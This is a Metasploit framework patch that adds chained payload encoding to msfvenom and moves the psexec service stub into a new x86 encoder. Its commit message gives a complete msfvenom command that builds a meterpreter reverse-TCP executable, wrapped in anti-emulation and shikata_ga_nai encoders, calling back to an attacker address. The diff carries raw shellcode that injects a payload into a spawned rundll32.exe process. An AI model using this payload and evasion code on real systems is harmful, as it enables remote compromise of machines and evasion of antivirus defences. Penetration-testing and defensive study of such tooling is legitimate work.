From 378208bc3db6f3ebd39f03a36d705c25b70e99ce Mon Sep 17 00:00:00 2001 From: agix Date: Thu, 23 Jun 2016 14:56:03 +0200 Subject: [PATCH] Move service stub in x86 encoder to be easily used. Add psexec option SERCVICE_STUB_ENCODER to allow a list of encoder to encode the x86/service stub. Add multiple_encode_payload function in payload_generator.rb to accept a list of encoder (beginning with @ to not break the classic parsing of encoder). With this it would be possible to pass multiple encoder to msfvenom in one execution. ./msfvenom -p windows/meterpreter/reverse_tcp LPORT=80 LHOST=192.168.100.11 -e @x86/shikata_ga_nai,x86/misc_anti_emu:5,x86/shikata_ga_nai -x template.exe -f exe-only -o meterpreter.exe --- lib/msf/core/payload_generator.rb | 19 +++- lib/msf/util/exe.rb | 69 ++----------- modules/encoders/x86/service.rb | 128 +++++++++++++++++++++++++ modules/exploits/windows/smb/psexec.rb | 6 +- msfconsole | 2 +- 5 files changed, 159 insertions(+), 65 deletions(-) create mode 100644 modules/encoders/x86/service.rb diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index ec8c96b972..51aa1b9ebd 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -205,6 +205,19 @@ module Msf chosen_platform end + def multiple_encode_payload(shellcode) + encoder_str = encoder[1..-1] + encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt| + @iterations = (encoder_opt[1] || 1).to_i + @iterations = 1 if iterations < 1 + + encoder_mod = framework.encoders.create(encoder_opt[0]) + encoder_mod.datastore.import_options_from_hash(datastore) + shellcode = run_encoder(encoder_mod, shellcode) + end + shellcode + end + # This method takes the shellcode generated so far and iterates through # the chosen or compatible encoders. It attempts to encode the payload # with each encoder until it finds one that works. @@ -327,7 +340,11 @@ module Msf else raw_payload = generate_raw_payload raw_payload = add_shellcode(raw_payload) - encoded_payload = encode_payload(raw_payload) + if encoder.start_with?("@") + encoded_payload = multiple_encode_payload(raw_payload) + else + encoded_payload = encode_payload(raw_payload) + end encoded_payload = prepend_nops(encoded_payload) cli_print "Payload size: #{encoded_payload.length} bytes" gen_payload = format_payload(encoded_payload) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index e6446f604c..b615ccdc27 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -2,12 +2,12 @@ module Msf module Util - # # The class provides methods for creating and encoding executable file # formats for various platforms. It is a replacement for the previous # code in Rex::Text # + class EXE require 'rex' @@ -50,7 +50,6 @@ require 'msf/core/exe/segment_appender' # Check if it exists now return if File.file?(opts[:template]) - # If it failed, try the default... if opts[:fallback] default_template = File.join(path, exe) @@ -602,67 +601,15 @@ require 'msf/core/exe/segment_appender' opts[:exe_type] = :service_exe return exe_sub_method(code,opts) else - name = opts[:servicename] - name ||= Rex::Text.rand_text_alpha(8) - pushed_service_name = string_to_pushes(name) + ENV['MSF_SERVICENAME'] = opts[:servicename] - precode_size = 0xc6 - svcmain_code_offset = precode_size + pushed_service_name.length + opts[:framework] = framework + opts[:payload] = 'stdin' + opts[:encoder] = '@x86/service,'+opts[:serviceencoder] - precode_size = 0xcc - hash_code_offset = precode_size + pushed_service_name.length - - precode_size = 0xbf - svcctrlhandler_code_offset = precode_size + pushed_service_name.length - - code_service_stopped = - "\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" + - "#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" + - "\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" + - "\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" + - "\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5" - - precode_size = 0x42 - shellcode_code_offset = code_service_stopped.length + precode_size - - # code_service could be encoded in the future - code_service = - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" + - "\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" + - "\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" + - "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" + - "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" + - "#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" + - "\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" + - "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" + - "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" + - "\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" + - "\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" + - "\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" + - "\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" + - "\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('I<')}\x57\x51\x68\xAE\x87" + - "\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" + - "#{[shellcode_code_offset].pack('I<')}\x54\x68#{[code.length].pack('I<')}" + - "\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" + - "\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" + - "\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" + - "\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}" - - # Append a new section to the template - Msf::Exe::SegmentAppender.new({ - :payload => code_service + code, - :template => opts[:template], - :arch => :x86 - }).generate_pe + venom_generator = Msf::PayloadGenerator.new(opts) + code_service = venom_generator.multiple_encode_payload(code) + return to_winpe_only(framework, code_service, opts) end end diff --git a/modules/encoders/x86/service.rb b/modules/encoders/x86/service.rb new file mode 100644 index 0000000000..49be93d4c5 --- /dev/null +++ b/modules/encoders/x86/service.rb @@ -0,0 +1,128 @@ +require 'metasm' +require 'msf/core' + +class MetasploitModule < Msf::Encoder + + Rank = ManualRanking + + def initialize + super( + 'Name' => 'Register service', + 'Version' => '$Revision: 14774 $', + 'Description' => 'Register service if used with psexec for example', + 'Author' => 'agix', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'EncoderType' => Msf::Encoder::Type::Raw + ) + end + + @@cpu32 = Metasm::Ia32.new + def assemble(src, cpu=@@cpu32) + Metasm::Shellcode.assemble(cpu, src).encode_string + end + + def can_preserve_registers? + true + end + + def modified_registers + [] + end + + def preserves_stack? + true + end + + def string_to_pushes(string) + str = string.dup + # Align string to 4 bytes + rem = (str.length) % 4 + if rem > 0 + str << "\x00" * (4 - rem) + pushes = '' + else + pushes = "h\x00\x00\x00\x00" + end + # string is now 4 bytes aligned with null byte + + # push string to stack, starting at the back + while str.length > 0 + four = 'h'+str.slice!(-4,4) + pushes << four + end + + pushes + end + + def encode_block(state, block) + nb_iter = rand(0x2fffffff)+0xfffffff + + push_registers = '' + pop_registers = '' + if datastore['SaveRegisters'] + datastore['SaveRegisters'].split(" ").each { |reg| + push_registers += assemble("push %s"%reg) + pop_registers = assemble("pop %s"%reg) + pop_registers + } + end + + name = ENV['MSF_SERVICENAME'] + name ||= Rex::Text.rand_text_alpha(8) + pushed_service_name = string_to_pushes(name) + + precode_size = 0xc6 + svcmain_code_offset = precode_size + pushed_service_name.length + + precode_size = 0xcc + hash_code_offset = precode_size + pushed_service_name.length + + precode_size = 0xbf + svcctrlhandler_code_offset = precode_size + pushed_service_name.length + + code_service_stopped = + "\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" + + "#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" + + "\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" + + "\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" + + "\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5" + + precode_size = 0x42 + shellcode_code_offset = code_service_stopped.length + precode_size + + # code_service could be encoded in the future + code_service = + "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + + "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + + "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + + "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + + "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + + "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + + "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + + "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" + + "\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" + + "\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" + + "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" + + "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" + + "#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" + + "\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" + + "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" + + "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" + + "\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" + + "\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" + + "\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" + + "\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" + + "\x40\x68\x00\x10\x00\x00\x68#{[block.length].pack('I<')}\x57\x51\x68\xAE\x87" + + "\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" + + "#{[shellcode_code_offset].pack('I<')}\x54\x68#{[block.length].pack('I<')}" + + "\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" + + "\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" + + "\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" + + "\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}" + + return push_registers + code_service + pop_registers + block + end + +end \ No newline at end of file diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index d9a46e9b37..e69de8593a 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -85,7 +85,8 @@ class MetasploitModule < Msf::Exploit::Remote [ OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]), OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]), - OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']) + OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']), + OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil]) ], self.class) end @@ -182,6 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote def native_upload filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8) + serviceencoder = datastore['SERVICE_STUB_ENCODER'] || '' # Upload the shellcode to a file print_status("Uploading payload...") @@ -203,7 +205,7 @@ class MetasploitModule < Msf::Exploit::Remote fd = smb_open("\\#{filename}", 'rwct') end exe = '' - opts = { :servicename => servicename } + opts = { :servicename => servicename, :serviceencoder => serviceencoder} begin exe = generate_payload_exe_service(opts) diff --git a/msfconsole b/msfconsole index a96c91d768..b9ba9f0b52 100755 --- a/msfconsole +++ b/msfconsole @@ -44,5 +44,5 @@ end # @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/generators/rails/app/templates/script/rails#L3-L5 require Pathname.new(__FILE__).realpath.expand_path.parent.join('config', 'boot') require 'metasploit/framework/command/console' - +require 'msf/core/payload_generator' Metasploit::Framework::Command::Console.start